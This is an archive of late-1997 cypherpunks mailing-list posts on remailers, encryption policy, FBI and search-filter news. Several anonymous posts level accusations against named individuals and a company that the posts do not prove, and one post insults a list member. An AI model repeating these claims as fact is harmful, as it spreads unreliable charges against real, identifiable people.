Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2539
X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
Precedence: list
Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org


Forwarded-by: Nev Dull <nev@bostic.com>
Forwarded-by: "Michael A. Olson" <mao@mag.com>
Forwarded-by: frew@icess.ucsb.edu (Jim Frew)
From: simpson@alexandria.ucsb.edu

This is the new family-friendly filtered search engine put out by the
folks at Altavista: http://family.netshepherd.com/

Try the query "fucking porn" and see what you get... exactly what I want
my kids to see when they are looking for "fucking porn": fucking porn.

I guess we can't expect them to filter just anything with the word
fucking in it, it might be an educational site or something.

-jason

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steffen Zahn <zahn@berlin.snafu.de>
Date: Thu, 11 Dec 1997 03:42:37 +0800
To: cypherpunks@Algebra.COM
Subject: Cantsin package
Message-ID: <199712101933.UAA04105@n242-234.berlin.snafu.de>
MIME-Version: 1.0
Content-Type: text/plain



Hello,

I have updated my package for Cantsin No. 2 signatures to the new version 0.3.

New things:
-  faster key generation
-  a mechanism to allow the storage of the private key encrypted with
   an external encryption program. Example included.
-  it is possible to sign only a part of a document.

Url: http://www.snafu.de/~zahn/cantsin.tar.gz    (86 Kbytes)
SHA1: 0EBF0D27794D800AB405C2857D7E05A35AFBDA43



-- 
home email:  user@domain where domain=berlin.snafu.de, user=zahn
Use of my address for unsolicited commercial advertising is forbidden.
                 "Where do you want to crash today?"
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
712ADCBCF936ECA98E9F5D12AE0138F0436836A1
1DF318C78150B5FFD888B3AE7E35D0A6CFDB74DC
-25E 12D
9C9DBD881A34F595E9F633E8B256C3B7E8F412962BACE35F9AD40C24DFB22DE9F09499654F5F708382C04E346CBC7A8CFDC2AC15330662C56AA3CFE2F8322DBD0060DF0E5476458CD6F701F68B14EDB92FC90C6AF7B5930BC9EE38668FC8705BDFF0BB4FDA9AD22D1131B912F61913EE8E39F99D0CF271C8FF6BEE770100E7BB01A020C043E5FABF881
603CC526BC17A43A6E95148521CB5A4AC9FE2255DF75C96FFC56707F448643EC802613CBEC4384857765314239E0375ADD576F2EE71007B930633F44369ACDD3D903BB10CA04212BAF82D8068A76A76BF8362CEFA80C0A2BDE49F7ED53E6CDBF6BC1A9E9706B7F980692FDEA49730C455D0ED70217AE0202D8564122B1E689DE479368AE30627BCCCC9
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
712ADCBCF936ECA98E9F5D12AE0138F0436836A1
3E867F56C28C9FF74CC3DB24778ECE43ECEB4999
-3ED FB
2E1FAA33F5F505BE6484FB709858D29D9581A311E0255398214BA00CD56514C216DEE12C58E09FC490C34428D2231A25297D52C4C0FF7DA527848D93F48EE0CA360A24F6B45948878832BC7159B59DE588121CD28A53CF3E3CB32ACA2A4FAE783CB1E699495A9D056F649F6A0E51B252AE42F5703882E6F82116795FD68C889459FED62A674A83F4064
99392BC9B969C2853FC581B9B69C6F375F7DD0225DE3BB91606DCEF6969FEE32CD9A6C4EF9750CE590B092818F1629730BB51A4865C1162F1D8CEAF478334A58C9285D97C8D31E485C062936ED185BEB3B66739D1FFEF6C0FEAF0228AF6039DBB9E38C6248F9983A660CB6B68F2483CEB5581E3C6CA125678D005E8AB9AE220338B9F2BA569C84370EB





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Thu, 11 Dec 1997 13:16:06 +0800
To: cypherpunks@cyberpass.net
Subject: RE: On Air
Message-ID: <v03102802b0b525e5c257@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>From: "Nightline, News           MS" <NITELINE@abc.com>
>To: "'SMTP:schear@lvdi.net'" <schear@lvdi.net>
>Subject: RE: On Air
>Date: Wed, 10 Dec 1997 13:32:00 -0500
>X-Priority: 3
>MIME-Version: 1.0
>
>ÐÏà¡±
>
>
>====== Your Original Letter Follows =====
>
>
>
>_browser = Mozilla/4.01 (Macintosh; I; PPC)
>_script = http://www.abcnews.com/onair/email.html
>>from = schear@lvdi.net
>last_name = Schear
>subj = On Air
>first_name = Steve
>Question = Re: Dec 8, Revolution in a Box, Part 11
>
>The number trotted out on your show of 100,000 penetrations, or
>attempted penetrations, of Pentagon computers as an indication of poor
>security is misleading.  If you had taken the time to dig behind these
>numbers you would have found that most all of these intrusions, or
>attempts, were against DoD computer systems connected to public networks
>(e.g., Web sites) containing no secret information and with minimal
>security provisions.
>
>100,000 certainly sounds like a major problem.  Suggest you check you
>facts first, next time and scale your numbers appropriately.
>
>Steve Schear
>CEO
>First ECache Corp.
>_cookie = SWID=4E29F2F7-710A-11D1-82AF-00A0C921A5DB
>_time = 12/09/97 19:47:40
>_ipaddress = 208.129.55.202
>_user = - - schear@lvdi.net
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Dec 1997 06:07:33 +0800
To: mail2news@basement.replay.com
Subject: Re: Burnore & Databasix
Message-ID: <199712102135.WAA26526@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:
 
> :> >We'd expect no less.  I do wonder how long it will take before those who
> :> >believe remailers are a good thing start to realise this asshole has
> :> >it in for them.  Everything it posts could be used by the anti-remailer
> :> >front as a reason to shut them all down.
> :  
> :Much of this "anti-remailer front" works for DataBasix.
>  
> Another lie from the anonymous asshole.  Prove it. Of course, you can't.

You're denying that you, Belinda Bryan, and William McClatchie are staff members
of DataBasix?  Are you denying that McClatchie used unproven allegations of 
"forgery" as his excuse to campaign to get the upstream providers of Jeff 
Burchell's "Mailmasher" server to disconnect him?  Do you remember McClatchie's
post which said:

-> > I encourage anyone who is being forged due to the deliberate negligence
-> > on toxic's part to write hotwired and MCI asking that mailmasher be shut
-> > down until it can longer be used to commit forgeries.

Did you catch that -- "asking that mailmasher be shut down"?  Have your forgotten 
the time McClatchie was asked this question:

->  >>If that was done, then a complaint to the operator would have gotten
->  >>that particular pseudonym making the postings locked out.  But your
->  >>agenda seemed to be to get the entire server shut down.  Why?

To which he replied:

->  > Becuase the shithead running it pissed me off with his responce that "He
->  > had better things to do" and "Maybe i should learn mmail filtering" to
->  > avoid the abuse.

And then there's Jeff's account of what followed.  Do you remember when you 
asked him:

-> > : So are you suggesting that McClatchie did that all by himself?  Just
-> > : curious, I don't know the details.

And his response:

-> > Nope.  McClatchie posted a spammed message that was offering Pirated
-> > CD-ROMS for sale.  He just happened to send it to a number of companies
-> > that had software products included on the CD-ROM.  They in turn handed
-> > the matter over to the Software Publisher's Association, which then
-> > took their usual witchhunting activities to a new art form (including
-> > using a personal contact at Wired for professional "gain")
   
You said that it was the "anti-remailer front" that was using this alleged 
"abuse" to get remailers shut down, but McClatchie was the one named by Jeff 
of playing that very role.

I'd like to hear more about this "anti-remailer front" you speak of.  Thus far,
you've claimed that all the anonymous posts that have criticized you have all 
come from the same person.  That doesn't sound like much of a "front".  How about
some more NAMES?  Who else is involved in this "front"?
 
> : Notice the classic
> :disinformation tactics that Gary Burnore is engaging in here.
>  
> Engaging in?  You post disinformation after disinformation and post no proof
> of your aligations.

Posting REPORTS of disinformation is not disinformation.  You have posted
no proof for any of your disinformation.  For example, your unsubstantiated
claim that someone (you actually accused someone by name) of sending abusive
e-mail, via a remailer, to an unnamed "teenage girl" who supposedly had a web 
page at DataBasix.  Where is your proof of that accusation?  Saying that an
anonymous person "abused" an unnamed victim is pretty flimsy, don't you think?

Then Belinda Bryan came along and claimed that this same person had supposedly
forged posts through an anonymous remailer in the names of "every known email 
address of DataBasix staff and  customers".  Again, no evidence that it even 
occurred, nor even an explanation of how someone OUTSIDE of your company would 
get ahold of that kind of confidential information!
 
> :  But notice 
> :that Gary was part of this "anti-remailer front" that used ALLEGED forgeries
> :and "spam baiting" to get two remailers shut down.
>  
> Again. PROVE IT.  Now it's TWO remailers? Before you said it was one.  Again,
> Burchell said he shut down the remailer after hundreds of complaints.  You're
> suggesting that those hundreds came from DataBasix?  PROVE IT.

You're forgetting Mailmasher and McClatchie's hissy fit to get it shut down?
 
> : It is interesting that
> :he now attributes the activities of himself and his associates at
> :DataBasix with this unnamed "anti-remailer front".
>  
> No, it's closer to the facts than your posts.  You consistantly post harass
> from a remailer your tactics are obvious.  You won't win though. Too many
> people WANT remailers.  Your lies are not working.

Free speech is now "harassment"?  (Only in the world of DataBasix!) If you didn't 
want people talking about the things you've done, you shouldn't have done them in 
the first place. 

Exactly what "harassment" are you alleging?  You mean posting replies to you and
answering the questions you asked?  You whine for "proof" then scream "harassment"
when it is posted.  Cute.

> So what are YOU doing it for? It's obviously not a privacy thing.  You were
> attacking me long before I complained to Burchell to get my name blocked.  You
> obvously have other reasons for your attacks. 

You obviously have a short memory.  Your letter to Jeff Burchell demanded that
he turn over his logs to you identifying everyone who had sent and received
anonymous e-mail through his remailer.  This was MONTHS after you whined about
alleged "forgeries" and were told about having your name blocked upon
request.  Unless you deliberately avoided taking the advice you had been given
then blocking your address would have been a non-issue by June, since you were
whining about "forgeries" in February.

Or are you talking about your attempt to get posts that even MENTIONED your name
in the body blocked?

> :Which makes one wonder why Gary and Belinda wanted to get ahold of the logs
> :from the Huge Cajones Remailer which would have identified anyone who ever
> :sent or even received anonymous mail through that remailer.  Gary and Belinda
> :have consistently stonewalled that question.  My guess is that they were
> :counting on Jeff keeping that dirty little secret of theirs hidden.
>  
> Which makes one wonder what else your demented little mind will think up next.
> Your claims are false, NO PROOF, none.

Claims?  I asked a QUESTION. What use did you have in mind for Jeff's remailer
logs which you demanded?  Since you refuse to answer, let me repeat Jeff's
theory.  If it's incorrect, please feel free to correct it:

-> Subject: Re: DataBasix vs. the Remailers -- Gary Burnore's Dirty Tricks Exposed (was: Jeff's Side of the Story.)
-> From: toxic@hotwired.com (Jeff Burchell)
-> Date: 1997/07/02
-> Message-ID: <5pc9mb$omg$1@re.hotwired.com>
-> 
-> [...]
-> 
-> : > Mr. Burnore requested a copy of my (non-existant) logs.
-> : > I told him to get me something in writing, signed by his lawyer that
-> : > stipulated that the logs were confidential, and not to be revealed to
-> : > anyone outside of the lawyer's office.
-> :
-> : He requested the logs of the messages of *EVERYONE* using Huge
-> : Cajones?  What was his rationale for such a fishing expedition?
-> : (Cases like this are a good reason for remailers to NOT keep logs.)
->  
-> I have no idea of his rationale.  And I don't know of any remailer
-> operator who keeps logs that would identify a user.  I had my machine
-> configured to log in a fairly standard way, but I used a different  
-> sendmail configuration for the remailer, that had all logging (except
-> for certain error conditions) turned off.
->  
-> Part of me thinks he wanted the logs so he could tell if I was going
-> to be able to identify him when he started his attacks.

[...]

> Yet, according to you I got his remailer shut down.  Which is it?  You claim I
> got his remailer shut down but then you claim I didn't have the power to do
> it.  

Go back and reread the post.  It was the power to demand that Jeff turn over (non-
existent) logs to you and Belinda that you didn't have.  The rest makes no sense, 
because it's quite obvious that the remailer is SHUT DOWN.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Fri, 12 Dec 1997 01:04:04 +0800
To: Jonathan Wienke <cypherpunks@cyberpass.net
Subject: Re: A message with a key to be posted later
In-Reply-To: <3.0.3.32.19971208200125.006be03c@popd.netcruiser>
Message-ID: <3.0.3.32.19971211010526.006f55e0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The message was posted somewhere near here previously,
without the ice-kicking pegguin part, of course.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Fri, 12 Dec 1997 01:02:01 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: FBI's Kallstrom Retiring
In-Reply-To: <1.5.4.32.19971209214836.006f6cfc@pop.pipeline.com>
Message-ID: <3.0.3.32.19971211011411.006f4dcc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:48 PM 12/09/1997 -0500, John Young wrote:
>CNN is saying FBI Ass. Dir. Jimmy "I never met a tap I didn't like"
>Kallstrom is retiring. 
>He was the standard-bearer for the FBI Wiretap bill, and is a
>noted ally of Louie Freeh.

He was also the main spokeman behind the "TWA800 Was Blown Up By Terrorists,
So Turn In All Your Civil Liberties" campaign.  Now that it's been
fairly conclusively demonstrated that it was a mechanical failure,
it's nice to see him getting the boot.  Hope they make him show
ID before letting him out the revolving door.

>He's going to work for MNBA Bank.
Feh.  Now he can look at your Visa cards.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: William Geiger <whgiii@invweb.net>
Date: Thu, 11 Dec 1997 15:23:11 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Back to the drawing board ...
In-Reply-To: <v0400273cb0b4ed62dd3b@[139.167.130.248]>
Message-ID: <Pine.LNX.3.96.971211021426.13397B-100000@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain




I tried this out myself and it returned no "family friendly" webpages.

On Wed, 10 Dec 1997, Robert Hettinga wrote:

> 
> --- begin forwarded text
> 
> 
> Resent-Date: Wed, 10 Dec 1997 14:32:10 -0500
> X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
> protocol
> To: 0xdeadbeef@substance.abuse.blackdown.org
> Subject: Back to the drawing board ...
> Date: Wed, 10 Dec 1997 13:19:18 -0500
> From: glen mccready <glen@qnx.com>
> Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
> X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2539
> X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
> Precedence: list
> Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org
> 
> 
> Forwarded-by: Nev Dull <nev@bostic.com>
> Forwarded-by: "Michael A. Olson" <mao@mag.com>
> Forwarded-by: frew@icess.ucsb.edu (Jim Frew)
> From: simpson@alexandria.ucsb.edu
> 
> This is the new family-friendly filtered search engine put out by the
> folks at Altavista: http://family.netshepherd.com/
> 
> Try the query "fucking porn" and see what you get... exactly what I want
> my kids to see when they are looking for "fucking porn": fucking porn.
> 
> I guess we can't expect them to filter just anything with the word
> fucking in it, it might be an educational site or something.
> 
> -jason
> 
> --- end forwarded text
> 
> 
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/
> Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Thu, 11 Dec 1997 14:27:21 +0800
To: cypherpunks@toad.com
Subject: A Gas to be Passed Later
Message-ID: <LMLDG0V/0QURQnbs9bJMcg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Phbbbbbbbbtttttt.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Dec 1997 12:44:59 +0800
To: cypherpunks@toad.com
Subject: alias.cyberpass.net
Message-ID: <199712110433.FAA19918@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain





Is alias.cyberpass.net down or no longer active?
I can send mail but not receive anything not even a confirmation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RealNetworks News <announce@dmail1.real-net.net>
Date: Thu, 11 Dec 1997 21:15:01 +0800
To: cypherpunks@toad.com
Subject: Improved RealAudio and RealVideo with New RealPlayer 5.0
Message-ID: <199712111446.GAA18684@dmail5.real-net.net>
MIME-Version: 1.0
Content-Type: text/plain



Dear RealPlayer User,

We are pleased to announce that the final version
of the free RealPlayer 5.0 has been released and
is now available for download.

You can upgrade to RealPlayer 5.0 by visiting:

   http://www.real.com/50/index.html

WHAT'S NEW IN REALPLAYER 5.0

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and RealVideo quality and other benefits, including:

- Smoother, sharper RealVideo
- Near CD-quality voice at 28.8
- Streaming cartoon-style animations using
  RealFlash, co-developed with Macromedia
- 2x larger video screen
- Full-screen video above 100kbps on Windows 95/NT

THE ENHANCED REALPLAYER PLUS 5.0

RealPlayer Plus 5.0, the premium version of
RealPlayer, is now available for purchase
and immediate download at:

   http://www.real.com/50/plus.html

RealPlayer Plus 5.0 delivers lots of great 
additional benefits, including: 

- The best-quality RealAudio and RealVideo at 28.8
- One-button scanning for LIVE audio and video sites
- Instant access to content with programmable preset buttons
- Ability to record selected clips
- Packaged CD-ROM and manual
- Free telephone technical support
- Just $29.99 with 30-day money back guarantee

And for a limited time, if you order and
download RealPlayer Plus, you can get a FREE
music CD from Sony Music (continental U.S. only).

Thank you for using RealNetworks products,

Maria Cantwell
Senior Vice President
RealNetworks, Inc.
Seattle, WA  USA

---------------------------------------------
 ABOUT THIS E-MAIL

 This e-mail was sent to users of RealPlayer
 software who indicated a preference during
 the download or installation process to receive
 notification of new RealNetworks products or
 services via e-mail.

 For information about subscribing to or
 unsubscribing from future announcements, visit
 http://www.real.com/mailinglist/index.html.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 11 Dec 1997 22:55:00 +0800
To: "Attila T. Hun" <attila@hun.org>
Subject: Re: A new first for Reno/Justice! Encryption not even on theagenda!
In-Reply-To: <19971211.112224.attila@hun.org>
Message-ID: <v03007804b0b5ac0f689a@[204.254.21.37]>
MIME-Version: 1.0
Content-Type: text/plain



I wrote about this yesterday, an hour after the summit ended, at:

http://cgi.pathfinder.com/netly/afternoon/0,1012,1626,00.html

Note Reno said that the OECD was where cryptodiscussions where happening.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Thu, 11 Dec 1997 19:56:30 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: A new first for Reno/Justice! Encryption not even on the agenda!
Message-ID: <19971211.112224.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


December 11, 1997, NYTimes: Reno Says Plan Will "Match Wits"
With Technological Criminals By JERI CLAUSING

>>> A new first for Reno/Justice! Encryption not even
    on the agenda! absolutely unreal --of course, being
    cynical at heart (and having watched the snakes and
    other assorted vermin inside the Beltway, encryption
    control will be back...

http://www.nytimes.com/library/cyber/week/121197crime.html

WASHINGTON Justice officials from the world's largest
industrial countries met here on Wednesday to draft an
international plan that Attorney General Janet Reno said was
designed to catch cybercriminals and ensure no safe haven
exists for them.

... "Today is an important day in fighting computer crime,
and in laying the groundwork for the next century of crime
fighting,"  ... cover the following principles:

1.  Ensuring that a sufficient number of trained and 
    equipped law enforcement personnel are enlisted to fight
    high-tech crime.

2.  Creating contacts available on a 24-hour basis to allow
    countries to move quickly in tracking down computer
    criminals.

3.  Developing faster ways to trace attacks on computer
    networks and identify hackers.

4.  Carrying out a criminal prosecution in the country a
    suspect flees to, if extradition is impossible.

5.  Taking steps to preserve important information on 
    computer networks to help prevent tampering.

6.  Reviewing the respective legal systems in each nation to
    make sure there are appropriate crimes for computer
    wrongdoing and to make it easier to investigate the 
    crimes.

7.  Working with the industry to come up with new ways to
    detect and prevent computer crimes.

8.  Stepping up efforts to use new technologies, such as
    so-called video links, which would allow obtaining 
    testimony from witnesses in other countries.

...  Reno said the contentious topic of encryption
regulation was not a focus of the meeting.  ..."We were here
to discuss a framework," she said.  "Encryption was not a
topic.  Although it was alluded to, it generally was not a
topic."

...
Asked what the biggest dangers are from technological
criminals, Reno gave the example of a hacker who can "sit in
his room in Washington, D.C., and steal from a bank in
another country," or sabotage the computer networks of
companies or governments anywhere in the world.
...
  

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNI/M3LR8UA6T6u61AQGLaAH/QnLL+qfrlPR3U+08+GVNX6Fh6g1KyvkT
uxawQXMeZKva9c6miAgSRSftgVbueIeHNtjTZBL9npbnzwPl9ASL2g==
=xrMG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 12 Dec 1997 03:57:57 +0800
To: cypherpunks@Algebra.COM
Subject: Kallstrom calls it quits
Message-ID: <199712111945.LAA09140@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain





- ------- Forwarded Message

Date: Wed, 10 Dec 1997 09:23:12 -0700
Subject: FBI Kallstrom (TWA investigation) will retire....

12/10/97 -- 5:44 AM

Leader of TWA criminal investigation retires from FBI 

BALTIMORE (AP) - New York FBI chief James Kallstrom will retire at the end of
the month, ending his 28-year law enforcement career only after wrapping up the
bureau's investigation into the crash of TWA Flight 800. 

``It was not in my character to leave before the TWA Flight 800 investigation
was concluded,'' Kallstrom, 54, said Tuesday. ``I thought I owed it not only to
the bureau but to the victims' families and to the American citizens.'' 

FBI Director Louis Freeh said Kallstrom was his supervisor when he joined the
FBI in the 1970s and ``was one of my models.'' Freeh,
who appointed Kallstrom as one of six assistant directors in 1995, tried to
persuade him to remain in office. 

``I love him,'' Freeh said in a telephone interview with The Associated Press.
``But on the other hand I understand that he was a dedicated and loyal FBI agent
who has sacrificed a lot. I also think TWA took its toll on him both emotionally
and physically.'' 

Last month, Kallstrom suspended the FBI's search for a criminal cause into the
July 17, 1996, disaster that claimed 230 lives, saying no
evidence of a bomb or missile was found. The National Transportation Safety
Board is continuing an investigation into mechanical failure
and is holding hearings this week in Baltimore on its findings. 

Kallstrom, who has two young daughters, told the AP that he will take a job as
senior executive vice-president at MBNA Inc., an
international bank and credit card company based in Wilmington, Del. 

``I have to take care of my family and make sure my daughters are educated
properly. I don't leave because I want to leave but it is time
for me to think about other responsibilities. My time has come.'' 

Kallstrom, who is two years short of the FBI's mandatory retirement age, said he
was ``honored to run the flagship office of the FBI and
I leave it in good hands.'' 

Kallstrom has found friends among the families of those who died in the TWA
explosion. 

``I love this man,'' said Michel Breistroff of Paris, who lost his adult son in
the explosion. Breistroff said he had grown to trust Kallstrom
despite his own doubts at times about the openness of the U.S. investigation.
          
``He has shown me such compassion. We are so connected now,'' he said. 

Part of Kallstrom's blunt, get-it-done style was formed in the jungles of
Vietnam, where he fought as a Marine and developed a hatred
for hypocrisy after what he believed was the misrepresentation of the war to the
American people. 

He joined the FBI in Baltimore shortly after leaving the Marines in 1969. Within
the year, he was in New York City, following pizza
trucks alone in the middle of the night because he suspected they were part of a
drug conspiracy. The case developed into a major
mob-drug prosecution headed by Freeh, then a prosecutor. 

Soon Kallstrom was leading teams of agents as they planted microphones in rooms
where mobsters met. The tapes captured notorious New York mob boss John Gotti,
who was later sent to prison for life. Before the end of the 1980s, Kallstrom
helped put behind bars scores of mobsters from every major crime family in New
York. 

Kallstrom said he will miss the FBI. 

``The day I walk out the door for the last time, it will be one of the saddest
days of my life,'' he said.

- - ------- End of Forwarded Message


- ------- End of Forwarded Message



------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Dec 1997 20:08:47 +0800
To: cypherpunks@toad.com
Subject: Re: Diffie-Hellman
Message-ID: <199712111154.MAA03893@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy `C' May is another loser who pays for got.net 
because he lacks the mental capacity to gain net access as a 
perk of either employment or academic achievment.

     0
   \/|/\ Timothy `C' May
     |
    / \/\
  \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Thu, 11 Dec 1997 23:19:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Back to the drawing board ...
In-Reply-To: <v0400273cb0b4ed62dd3b@[139.167.130.248]>
Message-ID: <348ff19a.47060515@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 11 Dec 1997 07:50:37 -0600, William Geiger <whgiii@invweb.net> wrote:

>
>
>I tried this out myself and it returned no "family friendly" webpages.
>
>On Wed, 10 Dec 1997, Robert Hettinga wrote:
>

>> This is the new family-friendly filtered search engine put out by the
>> folks at Altavista: http://family.netshepherd.com/
>> 
>> Try the query "fucking porn" and see what you get... exactly what I want
>> my kids to see when they are looking for "fucking porn": fucking porn.
>> 
>> I guess we can't expect them to filter just anything with the word
>> fucking in it, it might be an educational site or something.
>> 

"fucking porn" no longer returns anything, but "fuckin porn" does.
(iterestingly enough, neither "fuckin" nor "porn" return anything
interesting by themselves).  Perhaps we're seeing ebonics in action.

And here's some more phrases to try:

rimming 
nambla  (now, that's what I call "family friendly")
warez
phreaking
remailer*

I wonder which of the above will be removed first....

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Dec 1997 23:32:33 +0800
To: mail2news@basement.replay.com
Subject: Re: Gary L. Burnore's Paranoid Hatred of Privacy and Anonymity
In-Reply-To: <199712101544.QAA18369@basement.replay.com>
Message-ID: <199712111519.QAA26138@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



wmcclatc@primenet.com (William J. McClatchie, aka "Wotan") wrote:

> X-Comment: Aw, are you offended?
> X-no-archive: yes

[...]

> >> So you'll post your address and phone number right away, right?
> >  
> >You go first, since you claim you "have nothing to hide".  Why would anyone
> >with "nothing to hide" choose to "hide behind the skirts of" an unlisted phone
> >number and street address? (Recognize the rhetoric?  It's yours, not mine.)
>  
> Can anyone else spot the hypocracy of someone using an anon-remailer
> demanding others post their unlisted phone numbers?

I'm glad you spotted that.  It started the other way around, with Gary Burnore
whining that people were "cowards" and "anonymous assholes" for not including
their e-mail addresses in their posts (thus indiscriminately broadcasting
them to the world), while his own telephone number is unlisted.

If he's so concerned about full disclosure and properly identifying everyone
that posts, then surely he won't mind posting his street address and home
phone number ... if he has "nothing to hide". <g>  Personally, I don't care
what his phone number and address are.  I have no reason to call or snail
mail him.  I'm only calling his bluff concerning the premise "if you have
nothing to hide, then you won't mind disclosing everything".  If you're the
current contender in the DataBasix tag team, then the same challenge applies
to you.  Since Gary claims that he has blocked all e-mail from remailers,
apparently he does not wish to communicate with me privately.

So why should an unlisted e-mail address be any different than an unlisted
telephone number?  If I want you to e-mail me, I'll give you my address.
I don't.  So why should I broadcast my e-mail address?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Fri, 12 Dec 1997 09:05:38 +0800
To: Jim Choate <cypherpunks@toad.com>
Subject: Re: FCPUNX:Elliptic Curve Tidbit
Message-ID: <199712120047.QAA24455@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:01 PM 12/9/97 -0600, Jim Choate wrote:
> Certicom estimates the difficulty of the warmup exercises thus:
>
>  > Using a network of 3000 computers, it is expected that the
>  > 79-bit exercise could be solved in a matter of hours, the
>  > 89-bit in a matter of days, and the 97-bit in a matter of
>  > weeks.
>
> Harley and Baisley applied 6 computers to ECCp-79 and solved it in a
> bit under 10 days, which would have amounted to less than half an hour
> had they had 3000 machines to throw at the problem.

In that case, 240 bit keys, as used by Pegwit and Kong, should take 
70 000 000 000 000 000 000 000 000 000 000 000 000 years on a network
of three thousand computers, assuming that the scaling law claimed by
Certicom holds true.
 ---------------------------------------------------------------------
We have the right to defend ourselves and our property, because of 
the kind of animals that we are. True law derives from this right, 
not from the arbitrary power of the state.

http://www.jim.com/jamesd/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Dec 1997 00:59:50 +0800
To: mail2news@anon.lcs.mit.edu
Subject: Re: Same old shit from Gary L. Burnore / DataBasix
Message-ID: <199712111644.RAA05263@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore)

> X-No-Archive: yes 

> :Your paranoid conspiracy theories remind me of the kid who blamed the mess in
> :his bedroom on an invisible herd of stampeding elephants.  ("Well of course
> :you didn't see them, dad.  They're INVISIBLE.")  In your case, you speculate
> :that there's a single "anonymous asshole" who's responsible for everything
> :that you CLAIM has occurred.
>  
>      
> Nope, I'm saying that the anonymous asshole (you) keeps posting lies with no
> proof and still hasn't explained why.  

How is asking you a QUESTION a LIE?  Why won't you answer the question about why
you wanted the sendmail logs from the Huge Cajones Remailer?  What purpose did
you have in mind for all those names and e-mail addresses?

> First you said it was because of rfg
> then because of burchell  yet you were attacking me long before either.  

I trust that you have proof for that accusation.

Are you now saying that your previous accusation that rfg was your so-called
"anon-asshole" was a lie?  Or your accusation that Scott Dentice was this
